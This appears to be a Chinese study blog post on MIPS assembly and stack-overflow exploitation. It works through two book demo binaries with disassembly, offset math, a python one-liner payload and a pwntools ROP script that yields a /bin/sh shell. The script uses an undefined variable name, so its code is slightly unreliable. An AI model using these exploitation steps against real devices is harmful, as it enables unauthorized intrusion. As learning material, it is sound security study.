依照《揭秘家用路由器0day漏洞挖掘技术》一书,回顾了MIPS基础,简单了解了MIPS栈溢出。
MIPS汇编基础
指令集
MIPS指令集的指令特点
- 指令长度为固定4字节。
- 内存中的数据访问(load/store)严格对齐。
- 流水线效应。MIPS采用了高度的流水线,其中一个重要的效应时分支延迟效应。
与x86指令集的差异
- 栈操作:MIPS32架构堆栈与x86架构一样,都是向低地址增长的。但在MIP32架构中没有EBP(栈底指针),进入一个函数时,需要将当前栈指针向下移动n比特,这个大小为n比特的存储空间就是此函数的Stack Frame的存储区域。此后,栈指针便不再移动,只能在函数返回时将栈指针加上这个偏移量恢复栈现场。由于不能随便移动栈指针,所以寄存器压栈和出栈时都必须指定偏移量。没有堆栈直接操作的指令,也就是没有push和pop指令。
- 调用:如果函数A调用函数B,调用者函数(函数A)会在自己的栈顶预留一部分空间来保存被调用者(函数B)的参数,我们称之为调用参数空间。
- 参数传递方式:前4个传入的参数通过$a0~$a3传递。有些函数的参数可能会超过4个,此时,多余的参数会被放入调用参数空间。x86架构32位下所有的参数都是通过堆栈传递的。
- 返回地址:在x86架构中,使用call命令调用函数时,会先将当前执行位置压入堆栈,MIPS的调用指令把函数的返回地址直接存入$RA寄存器而不是堆栈中。
寄存器
编号 | 寄存器名称 | 描述 |
---|---|---|
$0 | $zero | 第0号寄存器,其值始终为0 |
$1 | $at | 保留寄存器 |
$2-$3 | $v0-$v1 | values,保存表达式或函数返回结果 |
$4-$7 | $a0-$a3 | argument,作为函数的前四个参数 |
$8-$15 | $t0-$t7 | temporaries,供汇编程序使用的临时寄存器 |
$16-$23 | $s0-$s7 | saved values,子函数使用时需先保存原寄存器的值 |
$24-$25 | $t8-$t9 | temporaries,供汇编程序使用的临时寄存器,补充$t0-$t7 |
$26-$27 | $k0-$k1 | 保留,中断处理函数使用 |
$28 | $gp | global pointer,全局指针 |
$29 | $sp | stack pointer,堆栈指针,指向堆栈的栈顶 |
$30 | $fp | frame pointer,保存栈指针 |
$31 | $ra | return address,返回地址 |
叶子函数与非叶子函数
- 叶子函数:当前函数不调用其他函数。
- 非叶子函数:当前函数调用其他函数。
其中,函数调用的过程为:
- 当A函数调用B函数时,函数调用指令复制当前的$PC寄存器的值到$RA寄存器,即当前$RA寄存器的值就是当前函数执行结束的返回地址,然后跳转B并执行。
- 程序跳转到函数B以后,如果函数B时非叶子节点,则函数B首先会把函数A的返回地址(此时返回函数A的地址存放在$RA寄存器中)存入堆栈,否则返回函数A的地址仍然存放在$RA中。
- 函数返回时,如果函数B是叶子函数,则直接使用“jr $ra”指令返回函数A,这里的寄存器$RA指向返回地址。如果函数B是非叶子函数,返回过程相对来说复杂一点,函数B先从堆栈中取出被保存在堆栈上的返回地址,然后将返回地址存入寄存器$RA,再使用“jr $ra”指令返回函数A。
栈溢出
demo
cat demo.c
1 |
|
进行编译
mipsel-linux-gcc -static demo.c -o demo
在IDA中查看相关函数信息1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30.text:00400470 # int __cdecl main(int argc, const char **argv, const char **envp)
.text:00400470 .globl main
.text:00400470 main: # DATA XREF: _ftext+18↑o
.text:00400470 # .got:main_ptr↓o
.text:00400470
.text:00400470 var_8 = -8
.text:00400470 var_4 = -4
.text:00400470 arg_0 = 0
.text:00400470 arg_4 = 4
.text:00400470
.text:00400470 addiu $sp, -0x20
.text:00400474 sw $ra, 0x20+var_4($sp)
.text:00400478 sw $fp, 0x20+var_8($sp)
.text:0040047C move $fp, $sp
.text:00400480 sw $a0, 0x20+arg_0($fp)
.text:00400484 sw $a1, 0x20+arg_4($fp)
.text:00400488 lw $v0, 0x20+arg_4($fp)
.text:0040048C addiu $v0, 4
.text:00400490 lw $v0, 0($v0)
.text:00400494 move $a0, $v0
.text:00400498 jal has_stack
.text:0040049C nop
.text:004004A0 nop
.text:004004A4 move $sp, $fp
.text:004004A8 lw $ra, 0x20+var_4($sp)
.text:004004AC lw $fp, 0x20+var_8($sp)
.text:004004B0 addiu $sp, 0x20
.text:004004B4 jr $ra
.text:004004B8 nop
.text:004004B8 # End of function main
1 | .text:004003E4 .globl has_stack |
在has_stack
函数中,由于没有对参数src
的长度进行限制,如果src
长度足够,则能够覆盖栈上面存储的$RA
寄存器的值,从而返回vuln
函数以getshell。
通过观察栈来获取buf
与saved_ra
的偏移。offset = saved_ra - buf = -4 + 0x20 = 28
,vuln
的地址为0x00400390
。
通过exp:
qemu-mipsel demo `python -c "print 'a'*28+'\x90\x03\x40\x00'"`
运行之后成功getshell。
stack_vuln
《揭秘家用路由器0day漏洞挖掘技术》一书中的一个栈溢出demo。
源码如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
void do_system(int code,char *cmd)
{
char buf[255];
//sleep(1);
system(cmd);
}
void main()
{
char buf[256]={0};
char ch;
int count = 0;
unsigned int fileLen = 0;
struct stat fileData;
FILE *fp;
if(0 == stat("passwd",&fileData))
fileLen = fileData.st_size;
else
return 1;
if((fp = fopen("passwd","rb")) == NULL)
{
printf("Cannot open file passwd!n");
exit(1);
}
ch=fgetc(fp);
while(count <= fileLen)
{
buf[count++] = ch;
ch = fgetc(fp);
}
buf[--count] = '\x00';
if(!strcmp(buf,"adminpwd\n"))
{
do_system(count,"ls -l");
}
else
{
printf("you have an invalid password!\n");
}
fclose(fp);
}
可以看出,溢出发生在main
函数中,且main
函数为非叶子函数,故返回地址存放在栈上面,能够通过覆盖该地址来控制程序执行流。
首先进行编译。
mipsel-linux-gcc -static stack_vuln.c -o stack_vuln
放入IDA查看相关函数信息。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44.text:004003E8 # int __cdecl main(int argc, const char **argv, const char **envp)
.text:004003E8 .globl main
.text:004003E8 main: # DATA XREF: _ftext+18↑o
.text:004003E8 # .got:main_ptr↓o
.text:004003E8
.text:004003E8 var_1C0 = -0x1C0
.text:004003E8 var_1B8 = -0x1B8
.text:004003E8 var_1B4 = -0x1B4
.text:004003E8 var_1B0 = -0x1B0
.text:004003E8 var_1AC = -0x1AC
.text:004003E8 var_1A8 = -0x1A8
.text:004003E8 var_1A4 = -0x1A4
.text:004003E8 var_1A0 = -0x1A0
.text:004003E8 var_A0 = -0xA0
.text:004003E8 var_6C = -0x6C
.text:004003E8 var_8 = -8
.text:004003E8 var_4 = -4
.text:004003E8
.text:004003E8 addiu $sp, -0x1D0
.text:004003EC sw $ra, 0x1D0+var_4($sp)
.text:004003F0 sw $fp, 0x1D0+var_8($sp)
.text:004003F4 move $fp, $sp
.text:004003F8 li $gp, 0x4291E0
.text:00400400 sw $gp, 0x1D0+var_1C0($sp)
.text:00400404 addiu $v1, $fp, 0x1D0+var_1A0
.text:00400408 li $v0, 0x100
.text:0040040C move $a2, $v0
.text:00400410 move $a1, $zero
.text:00400414 move $a0, $v1
.text:00400418 la $v0, memset
.text:0040041C move $t9, $v0
.text:00400420 bal memset
.text:00400424 nop
.text:00400428 lw $gp, 0x1D0+var_1C0($fp)
.text:0040042C sw $zero, 0x1D0+var_1B4($fp)
.text:00400430 sw $zero, 0x1D0+var_1B0($fp)
.text:00400434 addiu $v0, $fp, 0x1D0+var_A0
.text:00400438 move $a1, $v0
.text:0040043C lui $v0, 0x41
.text:00400440 addiu $a0, $v0, (aPasswd - 0x410000) # "passwd"
.text:00400444 la $v0, stat
.text:00400448 move $t9, $v0
.text:0040044C bal stat
.text:00400450 nop
通过计算得到偏移:
offset = saved_ra - buf = -0x4 - (-0x1A0) = 0x19c
我们要如何覆盖saved_ra
从而控制执行流呢,这里用到了一个类似于ROPgadget
的工具,mipsrop
,用于寻找mips中的ROP链。
该工具可以在以下链接获得:https://github.com/devttys0/ida/tree/master/plugins/mipsrop
Python>mipsrop.stackfinders()
----------------------------------------------------------------------------------------------------------------
| Address | Action | Control Jump |
----------------------------------------------------------------------------------------------------------------
| 0x004038D0 | addiu $a1,$sp,0x58+var_40 | jr 0x58+var_4($sp) |
----------------------------------------------------------------------------------------------------------------
Found 1 matching gadgets
获得以上gadget
。
在do_system
函数中,只使用第二个参数,所以我们只需调整$a1
即可执行system($a1)
。
在此需要修改的是:0x58+var_40
位置修改为/bin/sh
,0x58+var_4
位置修改为do_system
函数地址。
使用以下脚本生成passwd文件即可获取shell。1
2
3
4
5
6
7
8
9
10
11
12
13from pwn import *
do_sys_addr = 0x00400390
gadget_addr = 0x004038D0
content = "A" * (0x1a0 - 0x4)
content += p32(gadget)
content += "A" * (0x58 - 0x40)
content += "/bin/sh\x00"
content = content.ljust(0x1a0 + 0x58 - 0x4, "A")
content += p32(do_sys_addr)
with open("passwd","wb") as f:
f.write(content)
以此passwd
作为输入,即可getshell。